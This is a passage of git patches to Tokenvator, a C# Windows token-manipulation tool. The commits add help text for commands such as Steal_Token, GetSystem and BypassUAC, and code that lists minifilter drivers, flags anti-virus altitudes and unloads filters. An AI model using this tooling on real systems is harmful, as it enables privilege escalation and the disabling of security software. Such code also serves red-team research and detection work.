//////////////////////////////////////////////////////////////////////////////// for (Int32 i = 0; i < tokenPrivileges.PrivilegeCount; i++) { @@ -439,32 +474,35 @@ out TokenInfLength Marshal.StructureToPtr(tokenPrivileges.Privileges[i].Luid, lpLuid, true); advapi32.LookupPrivilegeName(null, lpLuid, null, ref cchName); - if (cchName < 0 || cchName > Int32.MaxValue) + if (cchName <= 0 || cchName > Int32.MaxValue) { - GetError("LookupPrivilegeName " + cchName); - return; + GetWin32Error("LookupPrivilegeName Pass 1"); + Marshal.FreeHGlobal(lpLuid); + continue; } lpName.EnsureCapacity(cchName + 1); if (!advapi32.LookupPrivilegeName(null, lpLuid, lpName, ref cchName)) { - Console.WriteLine("[-] Privilege Name Lookup Failed"); + GetWin32Error("LookupPrivilegeName Pass 2"); + Marshal.FreeHGlobal(lpLuid); continue; } - Winnt._PRIVILEGE_SET privilegeSet = new Winnt._PRIVILEGE_SET(); - privilegeSet.PrivilegeCount = 1; - privilegeSet.Control = Winnt.PRIVILEGE_SET_ALL_NECESSARY; - privilegeSet.Privilege = new Winnt._LUID_AND_ATTRIBUTES[] { tokenPrivileges.Privileges[i] }; + Winnt._PRIVILEGE_SET privilegeSet = new Winnt._PRIVILEGE_SET + { + PrivilegeCount = 1, + Control = Winnt.PRIVILEGE_SET_ALL_NECESSARY, + Privilege = new Winnt._LUID_AND_ATTRIBUTES[] { tokenPrivileges.Privileges[i] } + }; - IntPtr pfResult; - if (!advapi32.PrivilegeCheck(hToken, privilegeSet, out pfResult)) + if (!advapi32.PrivilegeCheck(hToken, privilegeSet, out IntPtr pfResult)) { - Console.WriteLine("[-] Privilege Check Failed"); + GetWin32Error("PrivilegeCheck"); + Marshal.FreeHGlobal(lpLuid); continue; } - Console.WriteLine("{0,-30}{1,-30}", lpName.ToString(), Convert.ToBoolean(pfResult.ToInt32())); - + Console.WriteLine("{0,-45}{1,-30}", lpName.ToString(), Convert.ToBoolean(pfResult.ToInt32())); Marshal.FreeHGlobal(lpLuid); } Console.WriteLine(); @@ -472,9 +510,19 @@ out TokenInfLength //////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////// - protected static void GetError(String location) + public static void GetNtError(String location, UInt32 ntError) + { + UInt32 win32Error = ntdll.RtlNtStatusToDosError(ntError); + Console.WriteLine(" [-] Function {0} failed: ", location); + Console.WriteLine(" [-] {0}", new System.ComponentModel.Win32Exception((Int32)win32Error).Message); + } + + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + public static void GetWin32Error(String location) { - Console.WriteLine(" [-] Function " + location + " failed: " + Marshal.GetLastWin32Error()); + Console.WriteLine(" [-] Function {0} failed: ", location); + Console.WriteLine(" [-] {0}", new System.ComponentModel.Win32Exception(Marshal.GetLastWin32Error()).Message); } } } diff --git a/Tokenvator/Tokenvator.csproj b/Tokenvator/Tokenvator.csproj index 034e92e..040b08a 100644 --- a/Tokenvator/Tokenvator.csproj +++ b/Tokenvator/Tokenvator.csproj @@ -61,6 +61,10 @@ + + False + ..\..\..\..\..\..\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll + 3.5 @@ -82,6 +86,7 @@ + @@ -91,6 +96,7 @@ + diff --git a/Tokenvator/obj/Release/Tokenvator.csproj.FileListAbsolute.txt b/Tokenvator/obj/Release/Tokenvator.csproj.FileListAbsolute.txt index 4f956e6..dc0daf2 100644 --- a/Tokenvator/obj/Release/Tokenvator.csproj.FileListAbsolute.txt +++ b/Tokenvator/obj/Release/Tokenvator.csproj.FileListAbsolute.txt @@ -3,9 +3,11 @@ C:\Users\0xbadjuju\Documents\GitHub\Tokenvator\Tokenvator\obj\Release\Tokenvator C:\Users\0xbadjuju\Documents\GitHub\Tokenvator\Tokenvator\bin\Release\Tokenvator.exe C:\Users\0xbadjuju\Documents\GitHub\Tokenvator\Tokenvator\bin\Release\Tokenvator.pdb C:\Users\0xbadjuju\Documents\GitHub\Tokenvator\Tokenvator\obj\Release\ResolveAssemblyReference.cache -C:\Users\badjuju\Documents\GitHub\Tokenvator\Tokenvator\obj\Release\Tokenvator.csprojAssemblyReference.cache C:\Users\badjuju\Documents\GitHub\Tokenvator\Tokenvator\obj\Release\Tokenvator.csproj.CoreCompileInputs.cache C:\Users\badjuju\Documents\GitHub\Tokenvator\Tokenvator\bin\Release\Tokenvator.exe C:\Users\badjuju\Documents\GitHub\Tokenvator\Tokenvator\bin\Release\Tokenvator.pdb C:\Users\badjuju\Documents\GitHub\Tokenvator\Tokenvator\obj\Release\Tokenvator.exe C:\Users\badjuju\Documents\GitHub\Tokenvator\Tokenvator\obj\Release\Tokenvator.pdb +C:\Users\badjuju\Documents\GitHub\Tokenvator\Tokenvator\bin\Release\System.Management.Automation.dll +C:\Users\badjuju\Documents\GitHub\Tokenvator\Tokenvator\obj\Release\Tokenvator.csproj.CopyComplete +C:\Users\badjuju\Documents\GitHub\Tokenvator\Tokenvator\obj\Release\Tokenvator.csprojAssemblyReference.cache From 0aff7a2a87c8ab9e3adb4659350a698e7c94ac2d Mon Sep 17 00:00:00 2001 From: Alexander Date: Wed, 8 Aug 2018 15:04:46 -0700 Subject: [PATCH 08/14] Arrow Key Bugfix --- Tokenvator/Resources/TabComplete.cs | 16 ++++++++++++---- 1 file changed, 12 insertions(+), 4 deletions(-) diff --git a/Tokenvator/Resources/TabComplete.cs b/Tokenvator/Resources/TabComplete.cs index 08189e7..0ee7e78 100644 --- a/Tokenvator/Resources/TabComplete.cs +++ b/Tokenvator/Resources/TabComplete.cs @@ -80,10 +80,12 @@ public String ReadLine() } break; case ConsoleKey.LeftArrow: - Console.SetCursorPosition(Console.CursorLeft - 1, Console.CursorTop); + if (Console.CursorLeft - context.Length - 1 >= 0) + Console.SetCursorPosition(Console.CursorLeft - 1, Console.CursorTop); continue; case ConsoleKey.RightArrow: - Console.SetCursorPosition(Console.CursorLeft + 1, Console.CursorTop); + if (Console.CursorLeft < context.Length + stringBuilder.Length) + Console.SetCursorPosition(Console.CursorLeft + 1, Console.CursorTop); continue; case ConsoleKey.Escape: stringBuilder.Remove(0, stringBuilder.Length); @@ -170,7 +172,10 @@ private Boolean KeyInput(StringBuilder stringBuilder, ConsoleKeyInfo keyDown) stringBuilder.Remove(Console.CursorLeft - context.Length - 1, 1); } } - catch { } + catch (Exception ex) + { + Console.WriteLine(ex.Message); + } ResetLine(); Console.Write(stringBuilder.ToString()); if (Console.CursorLeft - context.Length - 1 >= 0) @@ -186,7 +191,10 @@ private Boolean KeyInput(StringBuilder stringBuilder, ConsoleKeyInfo keyDown) { stringBuilder.Remove(position - context.Length + 1, 1); } - catch { } + catch (Exception ex) + { + Console.WriteLine(ex.Message); + } ResetLine(); Console.Write(stringBuilder.ToString()); Console.SetCursorPosition(position, Console.CursorTop); From 9806fe9416941d719af86d39241a392207c40a08 Mon Sep 17 00:00:00 2001 From: Alexander Date: Wed, 8 Aug 2018 15:43:56 -0700 Subject: [PATCH 09/14] Help Updates --- Tokenvator/Program.cs | 53 +++++++++++++++++++++++++++++++++---------- Tokenvator/Tokens.cs | 2 +- 2 files changed, 42 insertions(+), 13 deletions(-) diff --git a/Tokenvator/Program.cs b/Tokenvator/Program.cs index a56de34..06cc5d9 100644 --- a/Tokenvator/Program.cs +++ b/Tokenvator/Program.cs @@ -63,18 +63,36 @@ static void Main(string[] args) class MainLoop { private static String context = "(Tokens) > "; - public static String[,] options = new String[,] { - {"GetSystem", "Command", "-"}, {"GetTrustedInstaller", "Command", "-"}, - {"Steal_Token", "Command", "ProcessID"}, - {"BypassUAC", "ProcessID", "Command"}, - {"List_Privileges", "ProcessID", "-"}, {"Set_Privilege", "ProcessID", "Privilege"}, - {"List_Processes", "-", "-"}, {"List_Processes_WMI", "-", "-"}, - {"Find_User_Processes", "-", "User"}, {"Find_User_Processes_WMI", "-", "User"}, - {"List_User_Sessions", "-", "-"}, - {"WhoAmI", "-", "-"}, {"RevertToSelf", "-", "-"}, - {"Run", "-", "Command"}, - {"", "", ""} - }; + public static String[,] options = new String[,] { + {"Info", "-", "-"}, + + {"List_Privileges", "ProcessID", "-"}, + {"Enable_Privilege", "ProcessID", "Privilege"}, + {"Disable_Privilege", "ProcessID", "Privilege"}, + {"Remove_Privilege", "ProcessID", "Privilege"}, + {"Nuke_Privileges", "ProcessID", "-"}, + + {"Terminate", "ProcessID", "-"}, + + {"GetSystem", "Command", "-"}, + {"GetTrustedInstaller", "Command", "-"}, + {"Steal_Token", "Command", "ProcessID"}, + {"Steal_Pipe_Token", "Command", "PipeName"}, + {"BypassUAC", "ProcessID", "Command"}, + + {"Sample_Processes", "-", "-"}, + {"Sample_Processes_WMI", "-", "-"}, + + {"Find_User_Processes", "-", "User"}, + {"Find_User_Processes_WMI", "-", "User"}, + + {"Sessions", "-", "-"}, + {"WhoAmI", "-", "-"}, + {"RevertToSelf", "-", "-"}, + {"Run", "-", "Command"}, + {"RunPowerShell", "-", "Command"}, + {"", "", ""} + }; private IntPtr currentProcessToken; private Dictionary users; @@ -262,6 +280,13 @@ internal void Run() case "exit": Environment.Exit(0); break; + case "help": + if ("privileges" == NextItem(ref input)) + foreach (String item in Tokens.validPrivileges) + Console.WriteLine(item); + else + Help(); + break; default: Help(); break; @@ -579,6 +604,10 @@ public static void Help() { Console.WriteLine("{0,-25}{1,-20}{2,-20}", options[i, 0], options[i, 1], options[i, 2]); } + Console.WriteLine("e.g. (Tokens)> Steal_Token 27015"); + Console.WriteLine("e.g. (Tokens)> Steal_Token 27015 cmd.exe"); + Console.WriteLine("e.g. (Tokens)> Enable_Privilege SeDebugPrivilege"); + Console.WriteLine("e.g. (Tokens)> Enable_Privilege 27015 SeDebugPrivilege"); } } } \ No newline at end of file diff --git a/Tokenvator/Tokens.cs b/Tokenvator/Tokens.cs index 9dac995..a75a67c 100644 --- a/Tokenvator/Tokens.cs +++ b/Tokenvator/Tokens.cs @@ -19,7 +19,7 @@ class Tokens : IDisposable internal delegate Boolean Create(IntPtr phNewToken, String newProcess, String arguments); - private static List validPrivileges = new List { "SeAssignPrimaryTokenPrivilege", + public static List validPrivileges = new List { "SeAssignPrimaryTokenPrivilege", "SeAuditPrivilege", "SeBackupPrivilege", "SeChangeNotifyPrivilege", "SeCreateGlobalPrivilege", "SeCreatePagefilePrivilege", "SeCreatePermanentPrivilege", "SeCreateSymbolicLinkPrivilege", "SeCreateTokenPrivilege", "SeDebugPrivilege", "SeEnableDelegationPrivilege", From 2d07cce7db673e36223e0705edf3885934361805 Mon Sep 17 00:00:00 2001 From: Alexander Date: Tue, 21 Aug 2018 19:27:59 -0700 Subject: [PATCH 10/14] list minifilters --- Tokenvator/Filters.cs | 81 +++++++++++++++++++ Tokenvator/Program.cs | 7 ++ .../Unmanaged/Headers/FltUserStructures.cs | 71 ++++++++++++++++ .../Resources/Unmanaged/Libraries/fltlib.cs | 31 +++++++ Tokenvator/Tokenvator.csproj | 3 + 5 files changed, 193 insertions(+) create mode 100644 Tokenvator/Filters.cs create mode 100644 Tokenvator/Resources/Unmanaged/Headers/FltUserStructures.cs create mode 100644 Tokenvator/Resources/Unmanaged/Libraries/fltlib.cs diff --git a/Tokenvator/Filters.cs b/Tokenvator/Filters.cs new file mode 100644 index 0000000..b382a73 --- /dev/null +++ b/Tokenvator/Filters.cs @@ -0,0 +1,81 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Runtime.InteropServices; + +using Unmanaged.Headers; +using Unmanaged.Libraries; + +namespace Tokenvator +{ + class Filters + { + private Int32 count; + private IntPtr hFilters; + + private FltUserStructures._FILTER_AGGREGATE_BASIC_INFORMATION info; + + internal Filters() + { + Console.WriteLine(); + Console.WriteLine("{0,8} {1,9} {2,8} {3,-10}", "Frame ID", "Instances", "Altitude", "Name"); + Console.WriteLine("{0,8} {1,9} {2,8} {3,-10}", "--------", "---------", "--------", "----"); + } + + internal void First() + { + UInt32 dwBytesReturned = 0; + UInt32 result = fltlib.FilterFindFirst(FltUserStructures._FILTER_INFORMATION_CLASS.FilterAggregateBasicInformation, IntPtr.Zero, 0, ref dwBytesReturned, ref hFilters); + + if (2147942522 != result || 0 == dwBytesReturned) + { + return; + } + IntPtr lpBuffer = Marshal.AllocHGlobal((int)dwBytesReturned); + fltlib.FilterFindFirst(FltUserStructures._FILTER_INFORMATION_CLASS.FilterAggregateBasicInformation, lpBuffer, dwBytesReturned, ref dwBytesReturned, ref hFilters); + + Print(lpBuffer); + Marshal.FreeHGlobal(lpBuffer); + } + + internal void Next() + { + UInt32 result = 0; + do + { + if (2147942522 != fltlib.FilterFindNext(hFilters, FltUserStructures._FILTER_INFORMATION_CLASS.FilterAggregateBasicInformation, IntPtr.Zero, 0, out UInt32 lpBytesReturned)) + { + break; + } + IntPtr lpBuffer = Marshal.AllocHGlobal((Int32)lpBytesReturned); + result = fltlib.FilterFindNext(hFilters, FltUserStructures._FILTER_INFORMATION_CLASS.FilterAggregateBasicInformation, lpBuffer, lpBytesReturned, out lpBytesReturned); + + Print(lpBuffer); + Marshal.FreeHGlobal(lpBuffer); + } + while (0 == result); + } + + private static void Print(IntPtr baseAddress) + { + FltUserStructures._FILTER_AGGREGATE_BASIC_INFORMATION info = (FltUserStructures._FILTER_AGGREGATE_BASIC_INFORMATION)Marshal.PtrToStructure(baseAddress, typeof(FltUserStructures._FILTER_AGGREGATE_BASIC_INFORMATION)); + + UInt32 offset = 0; + do + { + IntPtr lpAltitude = new IntPtr(baseAddress.ToInt64() + info.FilterAltitudeBufferOffset); + String altitude = Marshal.PtrToStringUni(lpAltitude, info.FilterAltitudeLength / 2); + + IntPtr lpName = new IntPtr(baseAddress.ToInt64() + info.FilterNameBufferOffset); + String name = Marshal.PtrToStringUni(lpName, info.FilterNameLength / 2); + + Console.WriteLine("{0,8} {1,9} {2,8} {3,-10}", info.FrameID, info.NumberOfInstances, altitude, name); + + offset = info.NextEntryOffset; + info = (FltUserStructures._FILTER_AGGREGATE_BASIC_INFORMATION)Marshal.PtrToStructure(new IntPtr(baseAddress.ToInt64() + offset), typeof(FltUserStructures._FILTER_AGGREGATE_BASIC_INFORMATION)); + } + while (0 != offset); + } + } +} diff --git a/Tokenvator/Program.cs b/Tokenvator/Program.cs index 06cc5d9..fc0b8d9 100644 --- a/Tokenvator/Program.cs +++ b/Tokenvator/Program.cs @@ -246,6 +246,11 @@ internal void Run() Console.WriteLine("{0,-30}{1,-30}", pid, processes[pid]); } break; + case "list_filters": + Filters filters = new Filters(); + filters.First(); + filters.Next(); + break; case "sessions": Enumeration.EnumerateInteractiveUserSessions(); break; @@ -566,6 +571,8 @@ internal static void RunPowerShell(string command) } } + + //////////////////////////////////////////////////////////////////////////////// // //////////////////////////////////////////////////////////////////////////////// diff --git a/Tokenvator/Resources/Unmanaged/Headers/FltUserStructures.cs b/Tokenvator/Resources/Unmanaged/Headers/FltUserStructures.cs new file mode 100644 index 0000000..22b3f75 --- /dev/null +++ b/Tokenvator/Resources/Unmanaged/Headers/FltUserStructures.cs @@ -0,0 +1,71 @@ +using System; +using System.Runtime.InteropServices; + +using WORD = System.UInt16; +using DWORD = System.UInt32; +using QWORD = System.UInt64; + +using USHORT = System.UInt16; +using ULONG = System.UInt32; + +using LPCTSTR = System.String; +using LPWSTR = System.Text.StringBuilder; + +using PVOID = System.IntPtr; +using LPVOID = System.IntPtr; +using DWORD_PTR = System.IntPtr; + +using WCHAR = System.Char; + +namespace Unmanaged.Headers +{ + public class FltUserStructures + { + public enum _FILTER_INFORMATION_CLASS + { + FilterFullInformation, + FilterAggregateBasicInformation, + FilterAggregateStandardInformation + } + //FILTER_INFORMATION_CLASS, *PFILTER_INFORMATION_CLASS; + + [StructLayout(LayoutKind.Sequential)] + public struct _FILTER_AGGREGATE_BASIC_INFORMATION + { + public ULONG NextEntryOffset; + public ULONG Flags; + public ULONG FrameID; + public ULONG NumberOfInstances; + public USHORT FilterNameLength; + public USHORT FilterNameBufferOffset; + public USHORT FilterAltitudeLength; + public USHORT FilterAltitudeBufferOffset; + } + //FILTER_AGGREGATE_BASIC_INFORMATION, *PFILTER_AGGREGATE_BASIC_INFORMATION; + + [StructLayout(LayoutKind.Sequential)] + public struct _FILTER_AGGREGATE_STANDARD_INFORMATION + { + public ULONG NextEntryOffset; + public ULONG Flags; + public ULONG FrameID; + public ULONG NumberOfInstances; + public USHORT FilterNameLength; + public USHORT FilterNameBufferOffset; + public USHORT FilterAltitudeLength; + public USHORT FilterAltitudeBufferOffset; + } + // FILTER_AGGREGATE_STANDARD_INFORMATION, * PFILTER_AGGREGATE_STANDARD_INFORMATION; + + [StructLayout(LayoutKind.Sequential)] + public struct _FILTER_FULL_INFORMATION + { + public ULONG NextEntryOffset; + public ULONG FrameID; + public ULONG NumberOfInstances; + public USHORT FilterNameLength; + public WCHAR[] FilterNameBuffer; + } + //FILTER_FULL_INFORMATION, *PFILTER_FULL_INFORMATION; + } +} diff --git a/Tokenvator/Resources/Unmanaged/Libraries/fltlib.cs b/Tokenvator/Resources/Unmanaged/Libraries/fltlib.cs new file mode 100644 index 0000000..4dd15a5 --- /dev/null +++ b/Tokenvator/Resources/Unmanaged/Libraries/fltlib.cs @@ -0,0 +1,31 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Runtime.InteropServices; +using System.Text; + +using Unmanaged.Headers; + +namespace Unmanaged.Libraries +{ + class fltlib + { + [DllImport("FltLib.dll", SetLastError = true)] + public static extern UInt32 FilterFindFirst( + FltUserStructures._FILTER_INFORMATION_CLASS dwInformationClass, + IntPtr lpBuffer, + UInt32 dwBufferSize, + ref UInt32 lpBytesReturned, + ref IntPtr lpFilterFind + ); + + [DllImport("FltLib.dll", SetLastError = true)] + public static extern UInt32 FilterFindNext( + IntPtr hFilterFind, + FltUserStructures._FILTER_INFORMATION_CLASS dwInformationClass, + IntPtr lpBuffer, + UInt32 dwBufferSize, + out UInt32 lpBytesReturned + ); + } +} diff --git a/Tokenvator/Tokenvator.csproj b/Tokenvator/Tokenvator.csproj index 040b08a..2d3d16c 100644 --- a/Tokenvator/Tokenvator.csproj +++ b/Tokenvator/Tokenvator.csproj @@ -78,12 +78,14 @@ + + @@ -101,6 +103,7 @@ + From 89ea39f7c24acdb0d280e3d8248a0aae6100847b Mon Sep 17 00:00:00 2001 From: Alexander Date: Thu, 23 Aug 2018 07:43:35 -0700 Subject: [PATCH 11/14] List MiniFilter Instances + IDisposable --- Tokenvator/FilterInstance.cs | 125 ++++++++++++++++++ Tokenvator/Filters.cs | 71 +++++++--- Tokenvator/Program.cs | 18 ++- .../Unmanaged/Headers/FltUserStructures.cs | 102 ++++++++++++++ .../Resources/Unmanaged/Libraries/fltlib.cs | 31 +++++ Tokenvator/Tokenvator.csproj | 1 + 6 files changed, 330 insertions(+), 18 deletions(-) create mode 100644 Tokenvator/FilterInstance.cs diff --git a/Tokenvator/FilterInstance.cs b/Tokenvator/FilterInstance.cs new file mode 100644 index 0000000..c91d074 --- /dev/null +++ b/Tokenvator/FilterInstance.cs @@ -0,0 +1,125 @@ +using System; +using System.Runtime.InteropServices; + +using Unmanaged.Headers; +using Unmanaged.Libraries; + +namespace Tokenvator +{ + class FilterInstance : Filters + { + private String filterName; + + //////////////////////////////////////////////////////////////////////////////// + // + //////////////////////////////////////////////////////////////////////////////// + internal FilterInstance(String filterName) : base() + { + this.filterName = filterName; + } + + //////////////////////////////////////////////////////////////////////////////// + // + //////////////////////////////////////////////////////////////////////////////// + internal override void First() + { + Console.WriteLine("{0,-20} {1,-11} {2,8} {3,-20}", "Instance Name", "Filter Name", "Altitude", "Volume Name"); + Console.WriteLine("{0,-20} {1,-11} {2,8} {3,-20}", "-------------", "-----------", "--------", "-----------"); + + UInt32 dwBytesReturned = 0; + UInt32 result = fltlib.FilterInstanceFindFirst(filterName, FltUserStructures._INSTANCE_INFORMATION_CLASS.InstanceFullInformation, IntPtr.Zero, 0, ref dwBytesReturned, ref hFilters); + + if (2149515283 == result) + { + Console.WriteLine("Filter Not Found"); + Dispose(); + return; + } + + if (2147942522 != result || 0 == dwBytesReturned) + { + return; + } + + IntPtr lpBuffer = Marshal.AllocHGlobal((int)dwBytesReturned); + fltlib.FilterInstanceFindFirst(filterName, FltUserStructures._INSTANCE_INFORMATION_CLASS.InstanceFullInformation, lpBuffer, dwBytesReturned, ref dwBytesReturned, ref hFilters); + + Print(lpBuffer); + Marshal.FreeHGlobal(lpBuffer); + } + + //////////////////////////////////////////////////////////////////////////////// + // + //////////////////////////////////////////////////////////////////////////////// + internal override void Next() + { + if (IntPtr.Zero == hFilters) + { + return; + } + + UInt32 lpBytesReturned = 0; + UInt32 result = 0; + do + { + if (2147942522 != fltlib.FilterInstanceFindNext(hFilters, FltUserStructures._INSTANCE_INFORMATION_CLASS.InstanceFullInformation, IntPtr.Zero, 0, ref lpBytesReturned)) + { + break; + } + IntPtr lpBuffer = Marshal.AllocHGlobal((Int32)lpBytesReturned); + result = fltlib.FilterInstanceFindNext(hFilters, FltUserStructures._INSTANCE_INFORMATION_CLASS.InstanceFullInformation, lpBuffer, lpBytesReturned, ref lpBytesReturned); + Print(lpBuffer); + Marshal.FreeHGlobal(lpBuffer); + } + while (0 == result); + } + + //////////////////////////////////////////////////////////////////////////////// + // + //////////////////////////////////////////////////////////////////////////////// + private void Print(IntPtr baseAddress) + { + var info = (FltUserStructures._INSTANCE_FULL_INFORMATION)Marshal.PtrToStructure(baseAddress, typeof(FltUserStructures._INSTANCE_FULL_INFORMATION)); + + Int32 offset = 0; + while (true) + { + IntPtr lpName = new IntPtr(baseAddress.ToInt64() + info.InstanceNameBufferOffset); + String name = Marshal.PtrToStringUni(lpName, info.InstanceNameLength / 2); + + IntPtr lpFilter = new IntPtr(baseAddress.ToInt64() + info.FilterNameBufferOffset); + String filter = Marshal.PtrToStringUni(lpFilter, info.FilterNameLength / 2); + + IntPtr lpAltitude = new IntPtr(baseAddress.ToInt64() + info.AltitudeBufferOffset); + String altitude = Marshal.PtrToStringUni(lpAltitude, info.AltitudeLength / 2); + + IntPtr lpVolume = new IntPtr(baseAddress.ToInt64() + info.VolumeNameBufferOffset); + String volume = Marshal.PtrToStringUni(lpVolume, info.VolumeNameLength / 2); + + Console.WriteLine("{0,-20} {1,-11} {2,8} {3,-20}", name, filter, altitude, volume); + if (0 == info.NextEntryOffset) + { + return; + } + IntPtr updatedBase = new IntPtr(baseAddress.ToInt64() + offset); + info = (FltUserStructures._INSTANCE_FULL_INFORMATION)Marshal.PtrToStructure(updatedBase, typeof(FltUserStructures._INSTANCE_FULL_INFORMATION)); + } + } + + //////////////////////////////////////////////////////////////////////////////// + // + //////////////////////////////////////////////////////////////////////////////// + ~FilterInstance() + { + Dispose(); + } + + //////////////////////////////////////////////////////////////////////////////// + // + //////////////////////////////////////////////////////////////////////////////// + public override void Dispose() + { + fltlib.FilterInstanceFindClose(hFilters); + } + } +} diff --git a/Tokenvator/Filters.cs b/Tokenvator/Filters.cs index b382a73..698aa65 100644 --- a/Tokenvator/Filters.cs +++ b/Tokenvator/Filters.cs @@ -1,7 +1,4 @@ using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; using System.Runtime.InteropServices; using Unmanaged.Headers; @@ -9,22 +6,21 @@ namespace Tokenvator { - class Filters + class Filters : IDisposable { - private Int32 count; - private IntPtr hFilters; - + protected IntPtr hFilters; private FltUserStructures._FILTER_AGGREGATE_BASIC_INFORMATION info; internal Filters() { Console.WriteLine(); - Console.WriteLine("{0,8} {1,9} {2,8} {3,-10}", "Frame ID", "Instances", "Altitude", "Name"); - Console.WriteLine("{0,8} {1,9} {2,8} {3,-10}", "--------", "---------", "--------", "----"); } - internal void First() + internal virtual void First() { + Console.WriteLine("{0,8} {1,9} {2,8} {3,-10}", "Frame ID", "Instances", "Altitude", "Filter Name"); + Console.WriteLine("{0,8} {1,9} {2,8} {3,-10}", "--------", "---------", "--------", "-----------"); + UInt32 dwBytesReturned = 0; UInt32 result = fltlib.FilterFindFirst(FltUserStructures._FILTER_INFORMATION_CLASS.FilterAggregateBasicInformation, IntPtr.Zero, 0, ref dwBytesReturned, ref hFilters); @@ -39,8 +35,13 @@ internal void First() Marshal.FreeHGlobal(lpBuffer); } - internal void Next() + internal virtual void Next() { + if (IntPtr.Zero == hFilters) + { + return; + } + UInt32 result = 0; do { @@ -59,7 +60,7 @@ internal void Next() private static void Print(IntPtr baseAddress) { - FltUserStructures._FILTER_AGGREGATE_BASIC_INFORMATION info = (FltUserStructures._FILTER_AGGREGATE_BASIC_INFORMATION)Marshal.PtrToStructure(baseAddress, typeof(FltUserStructures._FILTER_AGGREGATE_BASIC_INFORMATION)); + var info = (FltUserStructures._FILTER_AGGREGATE_BASIC_INFORMATION)Marshal.PtrToStructure(baseAddress, typeof(FltUserStructures._FILTER_AGGREGATE_BASIC_INFORMATION)); UInt32 offset = 0; do @@ -67,15 +68,55 @@ private static void Print(IntPtr baseAddress) IntPtr lpAltitude = new IntPtr(baseAddress.ToInt64() + info.FilterAltitudeBufferOffset); String altitude = Marshal.PtrToStringUni(lpAltitude, info.FilterAltitudeLength / 2); + String alarm = ""; + if (UInt32.TryParse(altitude, out UInt32 dwAltitude)) + { + if (320000 <= dwAltitude && 329998 >= dwAltitude) + { + alarm = "[!] Anti-Virus"; + } + + else if (140000 <= dwAltitude && 149999 >= dwAltitude) + { + alarm = "[*] Encryption"; + } + + else if (80000 <= dwAltitude && 89999 >= dwAltitude) + { + alarm = "[!] Security Enhancer"; + + } + } + IntPtr lpName = new IntPtr(baseAddress.ToInt64() + info.FilterNameBufferOffset); String name = Marshal.PtrToStringUni(lpName, info.FilterNameLength / 2); - Console.WriteLine("{0,8} {1,9} {2,8} {3,-10}", info.FrameID, info.NumberOfInstances, altitude, name); + Console.WriteLine("{0,8} {1,9} {2,8} {3,-20} {4,-15}", info.FrameID, info.NumberOfInstances, altitude, name, alarm); - offset = info.NextEntryOffset; - info = (FltUserStructures._FILTER_AGGREGATE_BASIC_INFORMATION)Marshal.PtrToStructure(new IntPtr(baseAddress.ToInt64() + offset), typeof(FltUserStructures._FILTER_AGGREGATE_BASIC_INFORMATION)); + IntPtr updatedBase = new IntPtr(baseAddress.ToInt64() + info.NextEntryOffset); + info = (FltUserStructures._FILTER_AGGREGATE_BASIC_INFORMATION)Marshal.PtrToStructure(updatedBase, typeof(FltUserStructures._FILTER_AGGREGATE_BASIC_INFORMATION)); } while (0 != offset); } + + internal static void FilterDetach(String filterName, String volumeName) + { + fltlib.FilterDetach(filterName, volumeName, String.Empty); + } + + internal static void Unload(String filterName) + { + fltlib.FilterUnload(filterName); + } + + ~Filters() + { + Dispose(); + } + + public virtual void Dispose() + { + fltlib.FilterFindClose(hFilters); + } } } diff --git a/Tokenvator/Program.cs b/Tokenvator/Program.cs index fc0b8d9..9da6147 100644 --- a/Tokenvator/Program.cs +++ b/Tokenvator/Program.cs @@ -247,9 +247,21 @@ internal void Run() } break; case "list_filters": - Filters filters = new Filters(); - filters.First(); - filters.Next(); + using (Filters filters = new Filters()) + { + filters.First(); + filters.Next(); + } + break; + case "list_filter_instances": + using (FilterInstance filterInstance = new FilterInstance(NextItem(ref input))) + { + filterInstance.First(); + filterInstance.Next(); + } + break; + case "unload_filter": + Filters.Unload(NextItem(ref input)); break; case "sessions": Enumeration.EnumerateInteractiveUserSessions(); diff --git a/Tokenvator/Resources/Unmanaged/Headers/FltUserStructures.cs b/Tokenvator/Resources/Unmanaged/Headers/FltUserStructures.cs index 22b3f75..58686a4 100644 --- a/Tokenvator/Resources/Unmanaged/Headers/FltUserStructures.cs +++ b/Tokenvator/Resources/Unmanaged/Headers/FltUserStructures.cs @@ -67,5 +67,107 @@ public struct _FILTER_FULL_INFORMATION public WCHAR[] FilterNameBuffer; } //FILTER_FULL_INFORMATION, *PFILTER_FULL_INFORMATION; + + [Flags] + public enum _FLT_FILESYSTEM_TYPE + { + FLT_FSTYPE_UNKNOWN, + FLT_FSTYPE_RAW, + FLT_FSTYPE_NTFS, + FLT_FSTYPE_FAT, + FLT_FSTYPE_CDFS, + FLT_FSTYPE_UDFS, + FLT_FSTYPE_LANMAN, + FLT_FSTYPE_WEBDAV, + FLT_FSTYPE_RDPDR, + FLT_FSTYPE_NFS, + FLT_FSTYPE_MS_NETWARE, + FLT_FSTYPE_NETWARE, + FLT_FSTYPE_BSUDF, + FLT_FSTYPE_MUP, + FLT_FSTYPE_RSFX, + FLT_FSTYPE_ROXIO_UDF1, + FLT_FSTYPE_ROXIO_UDF2, + FLT_FSTYPE_ROXIO_UDF3, + FLT_FSTYPE_TACIT, + FLT_FSTYPE_FS_REC, + FLT_FSTYPE_INCD, + FLT_FSTYPE_INCD_FAT, + FLT_FSTYPE_EXFAT, + FLT_FSTYPE_PSFS, + FLT_FSTYPE_GPFS, + FLT_FSTYPE_NPFS, + FLT_FSTYPE_MSFS, + FLT_FSTYPE_CSVFS, + FLT_FSTYPE_REFS, + FLT_FSTYPE_OPENAFS + } + //FLT_FILESYSTEM_TYPE, *PFLT_FILESYSTEM_TYPE; + + [StructLayout(LayoutKind.Sequential)] + public struct _INSTANCE_AGGREGATE_STANDARD_INFORMATION + { + public ULONG NextEntryOffset; + public ULONG Flags; + public ULONG FrameID; + public _FLT_FILESYSTEM_TYPE VolumeFileSystemType; + public USHORT InstanceNameLength; + public USHORT InstanceNameBufferOffset; + public USHORT AltitudeLength; + public USHORT AltitudeBufferOffset; + public USHORT VolumeNameLength; + public USHORT VolumeNameBufferOffset; + public USHORT FilterNameLength; + public USHORT FilterNameBufferOffset; + public ULONG SupportedFeatures; + } + //INSTANCE_AGGREGATE_STANDARD_INFORMATION, * 